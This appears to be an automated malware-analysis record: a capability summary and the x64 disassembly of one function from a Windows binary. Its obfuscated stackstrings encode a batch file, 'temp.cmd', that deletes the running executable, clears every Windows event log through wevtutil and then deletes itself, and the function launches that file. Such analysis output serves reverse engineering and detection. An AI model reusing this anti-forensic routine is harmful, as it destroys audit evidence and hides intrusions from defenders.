Function at 0x140016b08
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create process on windows
Create thread
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
lea rbp, [rsp - 0x870]
sub rsp, 0x970
cmp byte [0x140025b50], 0x1f
jne 0x140016b38
cmp byte [0x140025c60], 0xf1
je 0x140016e20
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_lstrlenW]
xor esi, esi
test eax, eax
je 0x140016b64
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [0x140026d04]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [0x140026d08], rax
mov ebx, 1
lea rdx, str.__
lea rcx, [0x140026a10]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, 0x208
lea rcx, [0x140026a18]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp byte [0x140025c60], 0xf1
jne 0x140016b9f
xor ecx, ecx
call fcn.140015d38
lea rax, [rbp - 0x1c]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea r8, [0x140016e38]
mov edx, 0x3e8000
mov dword [rsp + 0x20], esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [0x140026d00]
lea rdx, [0x140026c30]
or r9d, 0xffffffff
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp dword [0x140025b44], esi
je 0x140016c04
cmp dword [0x1400269c4], esi
je 0x140016c04
mov dword [0x140025b44], esi
jmp 0x140016b69
mov qword [rsp + 0x30], rsi
lea rcx, str.temp.cmd
mov dword [rsp + 0x28], pe_nt_image_headers64
xor r9d, r9d
mov r8d, ebx
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140016e20
xor edx, edx
mov dword [rsp + 0x50], 0x68634540
mov r8d, 0x400
mov dword [rsp + 0x54], 0x666f206f
lea rcx, [rbp + 0x70]
mov dword [rsp + 0x58], 0x3a0a0d66
mov dword [rsp + 0x5c], 0xd706572
mov dword [rsp + 0x60], 0x6c65640a
mov dword [rsp + 0x64], 0xd312520
mov dword [rsp + 0x68], 0x2066690a
mov dword [rsp + 0x6c], 0x20746f6e
mov dword [rsp + 0x70], 0x6f727265
mov dword [rsp + 0x74], 0x76656c72
mov dword [rsp + 0x78], 0x30206c65
mov dword [rsp + 0x7c], 0x746f6720
mov dword [rbp - 0x80], 0x6572206f
mov dword [rbp - 0x7c], 0x660a0d70
mov dword [rbp - 0x78], 0x2f20726f
mov dword [rbp - 0x74], 0x74222046
mov dword [rbp - 0x70], 0x6e656b6f
mov dword [rbp - 0x6c], 0x222a3d73
mov dword [rbp - 0x68], 0x31252520
mov dword [rbp - 0x64], 0x206e6920
mov dword [rbp - 0x60], 0x65772728
mov dword [rbp - 0x5c], 0x74757476
mov dword [rbp - 0x58], 0x652e6c69
mov dword [rbp - 0x54], 0x65206578
mov dword [rbp - 0x50], 0x2029276c
mov dword [rbp - 0x4c], 0x77204f44
mov dword [rbp - 0x48], 0x75747665
mov dword [rbp - 0x44], 0x2e6c6974
mov dword [rbp - 0x40], 0x20657865
mov dword [rbp - 0x3c], 0x22206c63
mov dword [rbp - 0x38], 0x22312525
mov dword [rbp - 0x34], 0x65640a0d
mov dword [rbp - 0x30], 0x3025206c
mov word [rbp - 0x2c], 0xa0d
mov byte [rbp - 0x2a], sil
mov dword [rbp - 0x20], esi
call fcn.140001dd0
xor edx, edx
lea rcx, [rbp + 0x470]
mov r8d, 0x400
call fcn.140001dd0
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea r9, [rbp - 0x20]
mov qword [rsp + 0x20], rsi
mov r8d, eax
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8d, 0x400
lea rdx, [rbp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rbp + 0x70]
lea rdx, str.temp.cmd__s
lea rcx, [rbp + 0x470]
call qword [sym.imp.USER32.dll_wsprintfA]
xor edx, edx
lea rcx, [rbp + 4]
lea r8d, [rdx + 0x64]
call fcn.140001dd0
xor eax, eax
mov dword [rbp], 0x68
mov qword [rbp - 8], rax
xorps xmm0, xmm0
lea rax, [rbp - 0x18]
mov qword [rsp + 0x48], rax
lea rax, [rbp]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x18], xmm0
xor r9d, r9d
lea rdx, [rbp + 0x470]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
lea r11, [rsp + 0x970]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret